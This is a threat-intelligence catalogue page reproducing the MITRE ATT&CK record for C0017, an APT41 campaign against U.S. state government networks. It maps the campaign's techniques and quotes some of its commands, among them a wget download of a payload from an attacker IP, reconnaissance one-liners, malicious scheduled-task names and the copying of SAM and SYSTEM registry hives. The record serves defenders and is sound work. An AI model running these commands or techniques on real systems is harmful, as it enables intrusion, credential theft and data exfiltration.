C0017

Campaign overview

MITRE ATT&CK historical record. Dates reflect source observations. Current activity and target-region classification are not asserted; Global denotes unclassified catalogue coverage. C0017 was an APT41 campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During C0017, APT41 was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of C0017 are unknown, however APT41 was observed exfiltrating Personal Identifiable Information (PII).(Citation: Mandiant APT41)

This is a historical record and does not establish current campaign activity.

Threat actor

APT41

Attribution confidence

Not established

First documented activity

2021-05-01

End date

Not established

Estimated victims

Not established

Reported impact

Not established

Unknown attribution, confidence and impact remain unspecified. Regional labels can include unspecified targets; assess the source evidence before acting.

Documented timeline

1. 2021-05-01

   Source-reported first observation; not a claim of current activity or confirmed campaign start/end.

   Source: MITRE ATT&CK

2. 2022-02-01

   Source-reported last observation; not a claim of current activity or confirmed campaign start/end.

   Source: MITRE ATT&CK

MITRE ATT&CK techniques

• T1680 · Local Storage Discovery

  Discovery — During C0017, APT41 issued `ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+` commands to find the volume serial number of compromised systems.(Citation: Mandiant APT41)

• T1027.002 · Software Packing

  Stealth — During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.(Citation: Mandiant APT41)

• T1033 · System Owner/User Discovery

  Discovery — During C0017, APT41 used `whoami` to gather information from victim machines.(Citation: Mandiant APT41)

• T1036.004 · Masquerade Task or Service

  Stealth — During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.(Citation: Mandiant APT41)

• T1016 · System Network Configuration Discovery

  Discovery — During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.(Citation: Mandiant APT41)

• T1053.005 · Scheduled Task

  Execution, Persistence, Privilege Escalation — During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.(Citation: Mandiant APT41)

• T1190 · Exploit Public-Facing Application

  Initial Access — During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.(Citation: Mandiant APT41)

• T1505.003 · Web Shell

  Persistence — During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.(Citation: Mandiant APT41)

• T1140 · Deobfuscate/Decode Files or Information

  Stealth — During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.(Citation: Mandiant APT41)

• T1003.002 · Security Account Manager

  Credential Access — During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.(Citation: Mandiant APT41)

• T1027 · Obfuscated Files or Information

  Stealth — During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.(Citation: Mandiant APT41)

• T1041 · Exfiltration Over C2 Channel

  Exfiltration — During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.(Citation: Mandiant APT41)

• T1048.003 · Exfiltration Over Unencrypted Non-C2 Protocol

  Exfiltration — During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.(Citation: Mandiant APT41)

• T1074.001 · Local Data Staging

  Collection — During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.(Citation: Mandiant APT41)

• T1071.001 · Web Protocols

  Command And Control — During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.(Citation: Mandiant APT41)

• T1005 · Data from Local System

  Collection — During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.(Citation: Mandiant APT41)

• T1102.001 · Dead Drop Resolver

  Command And Control — During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.(Citation: Mandiant APT41)

• T1059.007 · JavaScript

  Execution — During C0017, APT41 deployed JScript web shells on compromised systems.(Citation: Mandiant APT41)

• T1574 · Hijack Execution Flow

  Stealth, Execution — During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table (IAT) within legitimate Microsoft binaries.(Citation: Mandiant APT41)

• T1090 · Proxy

  Command And Control — During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.(Citation: Mandiant APT41)

• T1036.005 · Match Legitimate Resource Name or Location

  Stealth — During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.(Citation: Mandiant APT41)

• T1059.003 · Windows Command Shell

  Execution — During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.(Citation: Mandiant APT41)

• T1001.003 · Protocol or Service Impersonation

  Command And Control — During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.(Citation: Mandiant APT41)

• T1134 · Access Token Manipulation

  Stealth, Privilege Escalation — During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.(Citation: Mandiant APT41)

• T1567 · Exfiltration Over Web Service

  Exfiltration — During C0017, APT41 used Cloudflare services for data exfiltration.(Citation: Mandiant APT41)

• T1560.003 · Archive via Custom Method

  Collection — During C0017, APT41 hex-encoded PII data prior to exfiltration.(Citation: Mandiant APT41)

• T1588.002 · Tool

  Resource Development — For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.(Citation: Mandiant APT41)

• T1105 · Ingress Tool Transfer

  Command And Control — During C0017, APT41 downloaded malicious payloads onto compromised systems.(Citation: Mandiant APT41)

• T1102 · Web Service

  Command And Control — During C0017, APT41 used the Cloudflare services for C2 communications.(Citation: Mandiant APT41)

Linked indicators

0 reviewed indicators. An indicator’s presence does not establish that every resource on shared infrastructure is malicious.

No reviewed indicators are supplied. None are inferred from the campaign description.

Documented infrastructure

No reviewed infrastructure is supplied.

Sources and evidence

• MITRE ATT&CK C0017

  Official MITRE ATT&CK campaign record C0017. Derived from mitre/cti commit 50be388e93819a5d20e71cbaaeccfda157abc846. Actor links and technique mappings are attributed to this source; confidence, victims, monetary impact and infrastructure are not inferred.

External sources retain their own licences and sharing conditions. Request a correction with supporting evidence.